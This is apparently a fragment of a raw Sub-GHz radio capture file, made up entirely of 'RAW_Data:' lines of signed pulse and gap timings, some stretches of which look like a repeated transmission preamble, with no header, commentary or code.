-84 51 -99 129 -229 94 -146 75 -141 53 -159 71 -134 81 -706 65 -114 64 -594 244 -60 137 -551 71 -62 114 -816 105 -228 -RAW_Data: 57 -234 182 -263 79 -122 59 -268 106 -384 121 -70 106 -147 98 -217 83 -255 85 -550 158 -459 89 -311 155 -218 61 -193 154 -150 57 -158 73 -80 113 -551 89 -221 53 -607 71 -676 53 -230 51 -689 174 -747 111 -342 51 -537 59 -241 63 -80 71 -178 150 -163 86 -76 117 -475 67 -80 53 -454 71 -569 80 -245 117 -52 53 -205 59 -106 59 -455 83 -289 71 -178 75 -259 91 -466 59 -289 71 -106 133 -72 59 -237 57 -251 119 -213 53 -258 150 -144 65 -501 71 -204 106 -54 107 -222 145 -478 79 -551 63 -359 63 -134 204 -238 61 -123 79 -272 104 -539 53 -146 53 -173 155 -272 53 -241 88 -136 114 -549 171 -124 61 -186 119 -92 162 -280 63 -485 51 -352 65 -174 97 -201 100 -1106 97 -140 98 -184 62 -190 53 -472 121 -590 55 -402 69 -84 203 -351 61 -161 285 -90 105 -62 307 -178 78 -58 71 -232 282 -126 77 -108 104 -68 219 -113 73 -147 279 -52 57 -217 51 -175 177 -162 57 -88 53 -429 114 -202 189 -100 65 -121 53 -90 159 -92 134 -402 153 -52 165 -68 72 -171 61 -76 75 -98 73 -148 124 -136 148 -116 91 -52 107 -124 246 -192 59 -216 127 -106 51 -60 97 -241 65 -126 77 -174 100 -68 104 -600 53 -196 65 -137 73 -362 196 -130 245 -180 59 -189 95 -197 101 -264 134 -130 147 -126 92 -114 85 -308 65 -95 81 -190 51 -229 106 -82 85 -186 123 -72 125 -167 71 -297 94 -472 89 -108 53 -216 71 -249 51 -240 88 -54 98 -265 61 -258 105 -183 53 -100 106 -162 79 -132 53 -301 133 -465 89 -156 105 -99 89 -106 83 -349 143 -216 67 -376 83 -421 73 -336 129 -372 191 -174 139 -130 102 -259 71 -209 91 -311 113 -98 67 -676 96 -1165 75 -367 74 -340 114 -124 51 -320 112 -64 71 -106 78 -242 51 -98 63 -144 59 -80 75 -557 80 -80 53 -276 70 -200 75 -300 141 -338 73 -260 123 -263 61 -68 166 -178 124 -266 53 -357 121 -197 53 -193 134 -425 181 -72 61 -646 88 -192 88 -163 51 -155 87 -780 121 -78 89 -529 105 -118 171 -185 148 -314 192 -76 51 -52 103 -474 59 -455 78 -455 57 -54 81 -393 51 -99 167 -244 97 -221 53 -113 77 -177 88 -402 159 -329 137 -142 91 -217 77 -226 53 -151 63 -158 53 -54 71 -134 67 -136 115 -225 75 -134 114 -163 153 -237 125 -74 83 -126 63 -173 97 -64 95 -368 53 -80 176 -658 53 -493 107 -151 51 -90 95 -140 69 -210 65 -96 107 -277 -RAW_Data: 78 -117 81 -56 87 -84 71 -209 97 -135 69 -166 57 -312 51 -176 107 -173 81 -177 75 -349 91 -266 81 -80 107 -104 53 -54 114 -72 63 -144 150 -240 107 -148 51 -313 61 -205 91 -154 97 -58 105 -82 81 -387 125 -396 90 -996 53 -196 67 -102 61 -143 109 -114 71 -277 51 -102 59 -60 83 -429 89 -102 75 -76 59 -86 59 -522 138 -62 63 -263 63 -277 89 -556 59 -52 59 -266 71 -108 61 -83 164 -136 142 -132 122 -292 53 -64 126 -228 61 -313 81 -924 81 -668 71 -116 98 -157 71 -54 97 -72 125 -613 59 -128 1073 -56 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -128 127 -64 61 -126 65 -62 63 -62 63 -64 61 -64 63 -64 127 -64 63 -62 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 127 -128 63 -64 61 -62 63 -64 63 -62 127 -130 127 -128 125 -128 127 -56 69 -124 129 -128 125 -128 55 -62 133 -64 63 -62 63 -62 63 -64 63 -128 127 -64 61 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -128 129 -64 61 -62 63 -126 65 -62 127 -128 63 -64 61 -62 127 -130 63 -62 61 -64 61 -64 127 -128 63 -64 61 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 125 -66 61 -64 61 -128 63 -64 63 -62 63 -64 63 -62 127 -130 127 -128 53 -70 63 -62 127 -128 127 -128 63 -62 61 -64 61 -64 63 -64 127 -128 127 -128 63 -62 61 -62 127 -64 63 -128 127 -128 127 -126 55 -64 67 -64 61 -64 63 -64 127 -128 63 -64 125 -64 63 -126 127 -128 127 -56 69 -126 127 -64 63 -126 473 -300 75 -659 79 -234 77 -106 133 -743 106 -280 117 -157 156 -233 59 -386 81 -388 89 -351 117 -308 89 -1023 109 -84 53 -146 63 -144 80 -365 61 -118 97 -60 51 -341 115 -70 116 -484 53 -397 59 -316 177 -596 85 -382 59 -141 118 -736 69 -186 59 -331 67 -327 59 -211 141 -80 51 -305 78 -310 85 -56 91 -122 141 -324 51 -1080 117 -98 55 -198 53 -554 81 -459 51 -143 67 -212 79 -399 89 -195 81 -250 71 -379 94 -631 170 -321 51 -290 51 -284 -RAW_Data: 53 -215 51 -52 69 -255 94 -883 53 -90 53 -200 153 -541 77 -399 51 -529 116 -214 57 -261 61 -146 59 -278 139 -52 106 -97 71 -134 61 -312 51 -163 59 -54 61 -612 161 -128 97 -82 81 -96 80 -545 63 -64 59 -600 88 -94 61 -422 123 -752 199 -98 88 -134 53 -126 154 -308 53 -487 77 -349 147 -115 59 -276 51 -223 53 -107 55 -287 53 -159 85 -124 75 -160 67 -118 59 -611 99 -428 157 -170 88 -410 123 -422 113 -274 51 -83 69 -245 59 -253 51 -94 59 -60 65 -80 51 -143 97 -242 71 -143 89 -144 69 -72 67 -255 67 -60 96 -254 51 -106 105 -118 69 -164 53 -219 89 -54 113 -52 77 -150 144 -865 53 -590 129 -184 115 -263 51 -140 57 -313 142 -62 59 -193 83 -54 91 -388 57 -223 77 -54 116 -96 149 -171 51 -364 61 -108 69 -134 161 -195 67 -154 129 -112 63 -135 51 -84 53 -102 59 -126 93 -107 53 -139 61 -157 87 -88 150 -220 129 -233 191 -162 132 -256 109 -74 95 -68 159 -278 103 -68 97 -341 93 -339 63 -76 81 -88 99 -72 79 -263 91 -103 85 -556 92 -52 51 -168 167 -160 53 -241 168 -279 87 -176 201 -98 79 -320 53 -128 51 -236 206 -167 113 -86 145 -149 128 -54 182 -150 243 -76 57 -101 179 -115 471 -52 418 -52 51 -62 187 -75 59 -54 51 -64 75 -82 259 -133 262 -72 349 -126 248 -162 149 -70 53 -68 115 -99 67 -196 141 -110 96 -309 195 -60 57 -441 139 -233 71 -453 79 -70 97 -362 59 -193 57 -130 90 -66 67 -303 55 -229 65 -451 95 -106 88 -214 87 -269 112 -190 69 -151 103 -615 131 -54 53 -418 99 -614 61 -64 63 -254 63 -312 179 -214 151 -225 97 -62 53 -104 75 -109 171 -399 75 -154 205 -92 69 -572 154 -72 75 -134 124 -230 57 -469 67 -88 53 -179 53 -70 59 -239 83 -302 53 -54 89 -409 65 -181 96 -373 73 -435 97 -1168 57 -724 212 -120 53 -191 65 -276 75 -179 51 -331 71 -582 137 -120 65 -104 59 -274 141 -150 53 -661 51 -186 53 -320 79 -90 250 -87 152 -292 55 -261 116 -894 59 -425 53 -199 80 -527 67 -120 157 -441 87 -726 51 -179 71 -205 51 -557 51 -395 63 -384 114 -267 59 -211 61 -184 67 -54 104 -78 61 -324 51 -163 185 -128 69 -193 67 -222 253 -613 89 -547 107 -286 81 -82 77 -117 82 -593 51 -108 57 -54 81 -614 79 -242 93 -497 115 -72 51 -96 102 -112 155 -58 78 -398 143 -72 57 -58 -RAW_Data: 67 -369 84 -98 116 -90 53 -629 161 -832 68 -125 53 -54 53 -122 51 -410 53 -120 75 -68 51 -139 149 -126 51 -139 257 -634 79 -113 214 -305 88 -310 71 -64 104 -115 75 -164 87 -121 97 -140 61 -207 150 -106 51 -233 61 -257 133 -247 51 -284 51 -545 63 -156 79 -220 51 -648 51 -338 172 -117 89 -82 53 -80 71 -178 97 -62 71 -54 151 -302 81 -58 57 -68 119 -150 136 -72 53 -180 168 -244 67 -81 96 -90 89 -254 59 -242 87 -200 91 -454 115 -106 152 -197 71 -70 83 -54 111 -166 65 -114 81 -217 61 -72 124 -224 93 -675 79 -92 59 -133 97 -146 215 -171 63 -200 91 -78 225 -72 85 -78 65 -54 67 -279 85 -1060 75 -74 53 -152 59 -54 71 -480 51 -98 51 -278 113 -213 55 -461 61 -101 89 -160 116 -470 109 -381 67 -98 69 -54 206 -120 59 -124 87 -1381 63 -462 51 -80 63 -350 67 -114 67 -579 89 -1117 77 -138 96 -106 138 -303 55 -213 61 -64 65 -124 135 -230 87 -197 63 -240 87 -96 51 -313 80 -223 61 -236 97 -462 63 -253 65 -132 107 -317 83 -320 63 -258 117 -170 126 -70 51 -197 82 -70 59 -276 51 -198 92 -62 53 -351 131 -88 98 -149 61 -321 145 -58 89 -545 63 -449 104 -52 51 -963 134 -126 71 -528 125 -156 133 -52 61 -208 51 -480 61 -88 63 -160 55 -106 126 -327 148 -209 65 -635 75 -116 79 -80 146 -438 178 -162 59 -52 94 -144 76 -441 87 -68 57 -149 104 -108 61 -98 233 -87 51 -477 103 -88 95 -335 61 -642 91 -116 53 -232 61 -476 73 -54 119 -165 59 -293 51 -98 59 -96 53 -204 51 -339 65 -413 71 -54 79 -188 85 -119 69 -250 67 -234 51 -110 53 -263 73 -331 61 -296 53 -378 97 -400 132 -248 224 -178 177 -100 59 -370 59 -286 88 -144 114 -72 73 -1217 53 -301 79 -88 83 -138 59 -128 69 -261 59 -84 88 -168 61 -562 71 -198 53 -201 81 -599 97 -142 84 -126 115 -54 59 -176 89 -174 107 -235 53 -149 71 -152 71 -602 75 -710 51 -302 137 -397 55 -76 57 -311 63 -235 99 -221 59 -681 71 -248 90 -581 113 -80 53 -354 53 -244 65 -162 81 -290 101 -254 51 -123 53 -290 53 -561 95 -94 53 -203 67 -928 71 -693 83 -211 53 -233 89 -344 51 -177 57 -826 63 -116 84 -541 89 -125 71 -134 103 -427 91 -269 61 -307 148 -349 83 -62 89 -434 93 -423 110 -237 88 -112 65 -164 51 -344 67 -54 89 -62 71 -88 -RAW_Data: 61 -477 209 -54 65 -62 53 -198 113 -741 61 -876 51 -155 142 -376 59 -60 146 -128 97 -237 73 -458 53 -72 153 -98 51 -234 99 -746 61 -235 111 -519 73 -68 59 -104 53 -109 65 -486 51 -98 51 -164 53 -279 93 -104 123 -496 53 -74 132 -259 61 -538 53 -90 89 -54 53 -266 51 -72 61 -587 92 -189 63 -198 134 -193 111 -90 57 -103 51 -301 97 -260 51 -249 65 -237 158 -199 91 -150 59 -339 67 -184 141 -168 136 -171 63 -232 71 -294 106 -104 53 -152 203 -72 51 -82 53 -879 51 -259 172 -54 63 -52 88 -204 117 -290 51 -452 67 -156 73 -597 59 -231 71 -474 124 -106 88 -142 71 -190 77 -184 95 -98 79 -102 57 -182 96 -697 61 -126 59 -96 93 -492 51 -224 117 -107 97 -169 61 -598 121 -62 116 -474 57 -385 85 -360 67 -62 86 -122 95 -925 130 -400 59 -174 61 -514 59 -189 67 -228 61 -216 53 -519 95 -422 51 -90 67 -689 53 -305 86 -80 98 -62 63 -319 180 -409 93 -431 51 -160 89 -180 79 -223 74 -407 59 -111 88 -178 83 -446 69 -406 71 -212 119 -120 51 -148 111 -130 89 -238 51 -284 61 -621 53 -341 69 -60 59 -281 55 -332 51 -132 114 -2108 189 -128 91 -252 61 -802 71 -60 99 -98 53 -299 117 -304 104 -438 118 -154 53 -318 57 -141 53 -144 120 -81 61 -113 71 -262 73 -285 59 -116 63 -1370 73 -315 67 -86 77 -463 59 -348 122 -176 61 -290 57 -613 129 -853 81 -262 53 -105 149 -435 53 -956 81 -204 121 -62 51 -1258 78 -172 92 -438 75 -70 67 -203 97 -301 106 -68 73 -317 57 -81 51 -240 61 -259 67 -545 85 -296 141 -54 175 -233 85 -66 134 -181 84 -552 77 -210 61 -124 161 -174 173 -152 63 -340 99 -82 85 -116 71 -124 53 -238 102 -104 65 -477 84 -479 141 -175 53 -328 132 -403 53 -115 63 -427 53 -150 51 -82 59 -129 63 -221 89 -321 132 -295 233 -496 89 -156 53 -296 121 -64 343 -300 158 -54 53 -168 53 -284 53 -511 99 -543 63 -274 114 -461 114 -395 146 -94 115 -202 67 -141 69 -314 65 -60 61 -194 71 -182 123 -416 88 -54 71 -399 61 -96 124 -811 51 -310 73 -78 88 -192 81 -214 73 -114 59 -154 53 -254 79 -286 79 -456 53 -295 81 -249 85 -152 87 -72 90 -1217 95 -116 114 -154 61 -135 75 -481 183 -89 51 -398 99 -365 89 -114 61 -62 107 -223 53 -327 79 -119 53 -145 91 -100 51 -540 111 -299 53 -402 124 -313 -RAW_Data: 161 -519 187 -226 67 -116 53 -80 77 -370 61 -214 53 -444 111 -358 61 -104 61 -167 53 -84 112 -555 75 -94 81 -351 73 -405 51 -215 196 -652 61 -142 106 -68 53 -184 79 -170 94 -153 152 -285 133 -62 685 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 209 -60 89 -64 273 -141 122 -54 144 -54 63 -381 53 -1034 53 -192 194 -164 78 -330 67 -294 91 -395 112 -62 59 -273 73 -103 89 -102 119 -230 121 -342 59 -841 81 -88 107 -54 61 -54 75 -351 85 -101 57 -68 59 -186 51 -309 81 -80 59 -266 97 -341 53 -98 80 -168 67 -162 67 -112 112 -203 61 -90 88 -72 67 -188 73 -245 156 -474 71 -271 105 -152 66 -305 71 -330 89 -825 55 -120 61 -60 -RAW_Data: 93 -240 126 -120 125 -331 61 -524 99 -130 132 -253 115 -132 87 -885 51 -410 84 -454 53 -146 57 -202 95 -142 57 -80 164 -190 79 -278 113 -106 57 -88 59 -74 65 -267 57 -64 61 -588 103 -159 113 -264 135 -269 61 -225 115 -316 51 -158 138 -320 67 -56 95 -340 125 -92 271 -239 85 -166 71 -925 51 -360 79 -415 176 -431 51 -112 51 -253 51 -329 53 -325 106 -76 55 -152 108 -272 137 -54 53 -237 89 -272 61 -54 51 -140 89 -82 61 -82 97 -358 77 -170 59 -393 51 -445 89 -268 85 -540 178 -239 53 -265 87 -529 57 -152 73 -108 77 -90 59 -120 51 -700 199 -402 195 -170 136 -54 111 -505 65 -84 87 -252 59 -327 59 -138 181 -564 51 -229 65 -120 113 -116 75 -379 63 -122 53 -271 61 -436 59 -380 125 -128 51 -611 150 -144 1105 -56 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 127 -66 61 -128 127 -64 61 -128 63 -62 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -64 61 -128 129 -64 61 -126 65 -62 63 -62 127 -128 63 -64 61 -64 61 -64 63 -64 127 -128 63 -62 63 -62 127 -128 127 -56 71 -126 127 -128 127 -128 53 -64 131 -64 63 -62 63 -64 61 -64 63 -128 129 -64 61 -62 63 -62 63 -64 63 -62 63 -64 63 -64 63 -128 127 -64 61 -62 63 -128 63 -64 125 -128 63 -64 61 -64 125 -130 63 -62 63 -62 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -62 63 -126 65 -62 63 -62 63 -64 63 -64 127 -128 127 -128 127 -56 67 -126 129 -64 61 -62 63 -62 63 -128 127 -64 63 -62 63 -62 63 -128 63 -64 125 -66 61 -64 61 -64 63 -62 63 -128 63 -64 63 -62 127 -130 127 -126 63 -62 125 -66 61 -64 61 -128 63 -64 125 -66 61 -128 127 -64 61 -126 129 -128 63 -62 327 -133 116 -426 134 -260 93 -374 110 -126 53 -521 149 -181 51 -90 67 -215 71 -179 88 -426 215 -311 194 -374 57 -98 97 -146 97 -438 107 -100 95 -412 161 -198 93 -188 151 -64 89 -584 69 -586 53 -202 53 -481 -RAW_Data: 67 -72 77 -90 57 -60 65 -320 87 -609 73 -120 67 -610 59 -231 71 -70 53 -222 61 -312 53 -286 71 -418 98 -164 97 -948 71 -114 75 -90 79 -194 53 -388 105 -96 63 -196 89 -60 91 -201 128 -230 59 -60 61 -351 123 -236 53 -256 53 -198 89 -280 53 -665 61 -68 188 -232 63 -1012 61 -167 80 -60 73 -130 67 -157 81 -178 118 -303 78 -110 53 -118 71 -106 51 -134 51 -518 149 -207 118 -349 85 -58 81 -238 170 -239 93 -345 82 -112 77 -301 51 -195 53 -296 227 -54 53 -276 97 -324 129 -175 115 -58 89 -216 67 -173 99 -375 69 -130 71 -158 136 -495 51 -675 133 -751 61 -109 86 -88 61 -90 53 -239 61 -54 231 -64 85 -663 87 -150 88 -96 73 -309 101 -370 71 -98 70 -60 124 -441 71 -310 53 -183 63 -401 51 -512 75 -70 63 -124 63 -573 130 -54 61 -458 51 -76 53 -212 55 -1208 67 -416 53 -82 51 -209 124 -82 134 -375 59 -86 115 -214 107 -164 267 -156 59 -128 103 -213 55 -242 53 -64 67 -257 53 -207 69 -80 61 -249 61 -142 53 -62 288 -108 69 -318 161 -180 76 -115 176 -204 149 -84 63 -178 81 -429 304 -72 61 -110 59 -80 57 -74 146 -56 59 -60 116 -94 650 -277 77 -52 250 -52 276 -160 89 -254 119 -84 59 -54 134 -110 105 -119 65 -230 132 -102 256 -159 51 -123 143 -90 71 -103 161 -82 195 -79 135 -242 208 -183 59 -99 71 -236 105 -113 63 -169 172 -52 83 -68 199 -114 146 -117 91 -107 59 -123 107 -95 75 -151 97 -64 77 -64 202 -64 67 -104 164 -108 57 -404 172 -152 105 -66 164 -90 181 -82 53 -261 158 -104 61 -116 104 -191 170 -370 168 -72 57 -126 53 -183 87 -111 63 -90 63 -134 53 -697 90 -223 93 -66 69 -580 59 -132 59 -832 96 -98 63 -119 53 -102 65 -112 53 -94 280 -291 73 -209 141 -427 102 -405 89 -54 53 -687 114 -146 94 -220 101 -487 59 -443 144 -235 53 -325 115 -119 80 -193 53 -142 89 -198 67 -228 91 -94 61 -335 177 -84 51 -297 53 -364 63 -375 63 -192 114 -128 101 -197 53 -378 51 -60 63 -614 65 -96 86 -476 61 -64 71 -80 89 -52 130 -282 217 -587 115 -156 51 -122 112 -120 113 -296 51 -825 113 -102 85 -128 96 -72 61 -152 145 -313 51 -64 92 -144 103 -94 77 -341 83 -167 81 -265 59 -272 51 -908 53 -471 53 -116 116 -353 81 -96 53 -96 76 -164 105 -113 67 -200 53 -304 80 -247 59 -968 -RAW_Data: 187 -301 137 -229 91 -162 89 -146 71 -214 59 -416 127 -144 53 -84 110 -60 140 -220 63 -378 132 -204 106 -597 151 -114 57 -60 144 -142 99 -909 57 -82 107 -72 89 -196 112 -136 69 -90 51 -195 81 -1036 126 -279 67 -443 67 -351 59 -393 75 -75 1347 -56 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 201 -96 144 -267 125 -77 53 -271 123 -234 71 -275 63 -125 61 -82 86 -115 63 -52 78 -330 110 -120 103 -476 63 -347 81 -520 53 -493 51 -610 81 -190 59 -198 59 -490 138 -216 61 -149 73 -64 57 -68 92 -78 65 -60 63 -222 194 -84 51 -136 130 -396 89 -132 53 -80 81 -126 55 -321 77 -105 59 -128 81 -210 160 -589 51 -360 81 -98 59 -99 120 -212 111 -318 150 -488 81 -62 63 -160 67 -86 -RAW_Data: 61 -64 127 -128 127 -128 55 -70 125 -64 61 -64 63 -126 65 -62 127 -128 127 -56 69 -62 63 -128 63 -62 63 -64 61 -64 331 -204 103 -376 96 -685 59 -236 51 -305 101 -84 106 -391 63 -404 71 -648 79 -386 59 -134 61 -141 67 -64 95 -778 51 -144 51 -90 59 -117 78 -96 129 -112 154 -142 61 -64 71 -169 59 -348 53 -592 78 -87 117 -125 89 -142 69 -177 123 -126 53 -66 91 -374 51 -66 97 -268 107 -145 100 -208 53 -430 86 -164 73 -399 143 -250 65 -255 95 -705 129 -60 67 -720 142 -76 91 -96 95 -54 65 -92 51 -142 53 -598 113 -457 104 -826 53 -102 90 -248 69 -68 102 -510 122 -208 141 -259 53 -204 61 -259 69 -100 51 -658 75 -97 125 -252 89 -118 78 -114 51 -384 51 -138 69 -329 103 -120 59 -251 132 -205 97 -919 59 -62 67 -388 97 -112 71 -138 71 -72 163 -279 202 -297 90 -275 53 -130 81 -383 79 -72 210 -239 59 -322 122 -799 59 -453 51 -224 88 -246 63 -334 154 -670 76 -293 69 -237 202 -70 61 -123 106 -134 185 -277 63 -247 53 -221 53 -88 95 -96 65 -92 79 -108 61 -337 63 -56 51 -178 63 -550 124 -112 85 -489 59 -164 252 -86 73 -74 154 -84 61 -141 132 -106 61 -763 89 -352 76 -122 53 -71 71 -419 59 -128 115 -160 103 -151 186 -230 67 -164 71 -480 55 -111 67 -290 57 -1154 79 -194 75 -68 55 -385 75 -475 53 -244 103 -284 236 -70 69 -203 63 -92 121 -264 57 -119 115 -94 105 -52 88 -323 89 -94 74 -100 88 -231 81 -182 150 -311 152 -122 55 -154 83 -89 151 -58 158 -118 71 -234 59 -143 51 -52 75 -104 112 -350 61 -64 132 -337 75 -386 75 -86 300 -190 79 -228 117 -125 59 -143 88 -52 61 -90 166 -175 158 -170 57 -80 63 -349 104 -88 124 -118 71 -52 71 -370 149 -56 75 -106 71 -148 75 -297 90 -201 63 -104 67 -97 91 -256 79 -424 123 -60 51 -332 63 -72 53 -80 126 -216 107 -243 114 -105 63 -126 77 -98 51 -350 94 -82 78 -90 124 -90 71 -70 163 -204 121 -228 65 -533 75 -102 77 -212 67 -212 53 -70 87 -293 221 -497 79 -712 67 -862 99 -261 51 -114 118 -622 55 -141 63 -98 81 -282 61 -245 59 -108 67 -484 63 -198 61 -154 59 -645 210 -150 53 -378 100 -257 82 -113 53 -82 59 -1065 141 -114 61 -314 89 -124 132 -128 81 -359 71 -239 146 -90 76 -196 59 -282 115 -194 85 -165 237 -249 83 -183 -RAW_Data: 57 -114 55 -112 99 -634 105 -266 114 -146 73 -248 53 -64 141 -134 127 -249 89 -211 152 -104 176 -136 51 -156 88 -106 119 -269 87 -74 67 -88 55 -119 107 -222 103 -457 69 -368 53 -133 79 -249 51 -670 71 -304 107 -964 95 -720 53 -108 81 -128 53 -170 79 -930 216 -576 100 -377 69 -291 89 -406 96 -104 71 -126 92 -593 158 -288 71 -254 67 -92 84 -100 122 -114 107 -456 51 -247 111 -305 57 -423 113 -90 83 -930 53 -491 59 -124 51 -97 75 -385 63 -92 51 -357 57 -126 98 -124 76 -624 51 -235 51 -54 153 -473 59 -202 51 -62 132 -152 106 -54 138 -441 122 -338 76 -64 115 -139 53 -205 134 -453 97 -96 89 -97 105 -88 119 -127 75 -52 89 -52 163 -171 99 -92 194 -126 115 -116 124 -70 115 -236 71 -122 182 -355 81 -273 91 -180 53 -341 81 -125 71 -202 59 -123 59 -295 79 -98 51 -144 57 -127 81 -52 163 -96 195 -89 120 -78 97 -188 143 -300 146 -164 81 -206 69 -237 85 -97 209 -143 177 -240 69 -310 67 -163 210 -327 53 -108 176 -187 178 -58 71 -70 145 -78 193 -54 81 -82 59 -296 119 -701 61 -908 119 -226 107 -994 152 -128 63 -308 121 -108 51 -621 53 -366 89 -250 69 -134 53 -60 71 -373 65 -230 61 -90 51 -382 80 -122 97 -130 85 -903 59 -415 59 -140 101 -78 51 -523 89 -102 157 -517 89 -341 61 -322 115 -162 53 -216 156 -284 71 -325 69 -190 71 -162 78 -125 63 -269 53 -883 158 -140 65 -531 69 -587 77 -126 53 -280 145 -131 65 -472 51 -180 51 -142 89 -134 154 -80 53 -54 139 -478 69 -412 67 -290 59 -104 97 -471 51 -140 53 -201 53 -197 95 -125 80 -258 65 -82 89 -84 79 -403 115 -140 152 -392 61 -108 168 -416 106 -96 149 -211 105 -100 83 -766 107 -666 82 -180 132 -518 121 -1452 122 -196 86 -174 57 -215 92 -98 63 -258 53 -90 126 -180 92 -147 122 -665 53 -216 95 -181 96 -54 69 -328 83 -92 149 -112 57 -54 98 -300 53 -176 99 -104 87 -301 59 -86 99 -292 53 -128 61 -239 97 -534 61 -913 59 -171 96 -551 67 -84 132 -122 119 -62 96 -688 63 -290 87 -537 169 -497 73 -62 154 -98 99 -64 81 -54 73 -436 63 -244 59 -78 96 -560 59 -54 71 -78 61 -129 63 -382 63 -76 117 -793 59 -167 59 -78 61 -393 51 -1092 59 -186 67 -72 53 -72 53 -292 255 -98 104 -133 89 -113 71 -90 59 -591 65 -82 53 -252 57 -275 -RAW_Data: 75 -507 154 -80 79 -317 63 -62 95 -143 53 -180 85 -307 121 -476 123 -112 71 -268 110 -209 79 -302 53 -96 67 -122 63 -76 53 -412 77 -411 88 -68 101 -80 53 -1127 122 -812 131 -522 55 -804 85 -124 59 -390 117 -162 59 -198 113 -306 178 -54 105 -94 51 -196 94 -101 51 -450 61 -239 61 -82 59 -165 163 -412 91 -425 81 -635 77 -209 65 -90 91 -195 53 -132 61 -352 86 -158 63 -108 55 -100 61 -64 75 -383 176 -260 53 -831 63 -99 83 -214 53 -250 89 -629 102 -328 124 -494 59 -194 129 -116 67 -72 96 -495 51 -94 109 -52 53 -121 57 -124 148 -557 53 -106 53 -160 79 -606 79 -547 73 -414 203 -118 88 -134 97 -806 71 -323 51 -428 73 -288 69 -495 77 -556 59 -156 67 -120 129 -310 71 -96 53 -270 63 -186 67 -181 197 -209 254 -72 57 -101 53 -114 164 -850 53 -601 123 -411 71 -72 106 -98 97 -133 91 -66 51 -62 73 -161 96 -70 61 -647 258 -536 59 -82 63 -89 53 -1038 53 -334 83 -162 95 -242 51 -232 55 -150 53 -675 150 -322 107 -134 75 -52 103 -176 53 -382 84 -118 53 -376 71 -206 67 -144 59 -157 53 -66 71 -204 99 -190 69 -100 85 -72 69 -113 65 -256 231 -103 59 -187 85 -149 73 -339 51 -106 71 -165 93 -206 77 -136 83 -448 53 -418 81 -448 51 -166 53 -172 71 -335 59 